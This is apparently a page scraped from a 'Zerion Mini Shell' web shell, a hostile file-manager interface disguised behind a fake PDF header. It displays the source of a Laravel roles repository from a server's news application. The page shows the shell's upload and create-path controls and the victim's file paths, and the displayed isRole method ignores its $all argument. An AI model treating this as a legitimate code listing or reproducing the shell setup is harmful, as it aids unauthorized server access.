%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/news/app/Repositories/Role/
Upload File :
Create Path :
Current File : /var/www/html/news/app/Repositories/Role/RolesEloquentRepository.php

<?php

namespace App\Repositories\Role;


use App\Models\Role;
use App\Repositories\Base\BaseEloquentRepository;
use App\Repositories\User\UsersRepository;
use Illuminate\Container\Container;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Support\Collection;

class RolesEloquentRepository extends BaseEloquentRepository implements RolesRepository
{
    private $usersRepository;

    public function __construct(Container $container, Collection $collection, UsersRepository $usersRepository)
    {
        parent::__construct($container, $collection);
        $this->usersRepository = $usersRepository;
    }

    public function model()
    {
        return Role::class;
    }

    public function getRoles($user)
    {
        $user = $this->getUser($user);

        return $user->getRoles();
    }

    private function getUser($user)
    {
        if ($user instanceof Model) {
            $user = $user->id;
        }

        $user = $this->usersRepository->findOrFail($user);

        return $user;
    }

    public function isRole($user, $role, $all = false)
    {
        $user = $this->getUser($user);

        return $user->isRole($role, $all = false);
    }

    public function isAll($user, $role)
    {
        $user = $this->getUser($user);

        return $user->isAll($role);
    }

    public function isOne($user, $role)
    {
        $user = $this->getUser($user);

        return $user->isOne($role);
    }

    public function hasRole($user, $role)
    {
        $user = $this->getUser($user);

        return $user->hasRole($role);
    }

    public function attachRole($user, $role)
    {
        $user = $this->getUser($user);

        return $user->attachRole($role);
    }

    public function detachRole($user, $role)
    {
        $user = $this->getUser($user);

        return $user->detachRole($role);
    }

    public function syncRoles($user, $roles)
    {
        $user = $this->getUser($user);

        return $user->syncRoles($roles);
    }

    public function detachAllRoles($user)
    {
        $user = $this->getUser($user);

        return $user->detachAllRoles();
    }

    public function group($user)
    {
        $user = $this->getUser($user);

        return $user->group();
    }
}

Zerion Mini Shell 1.0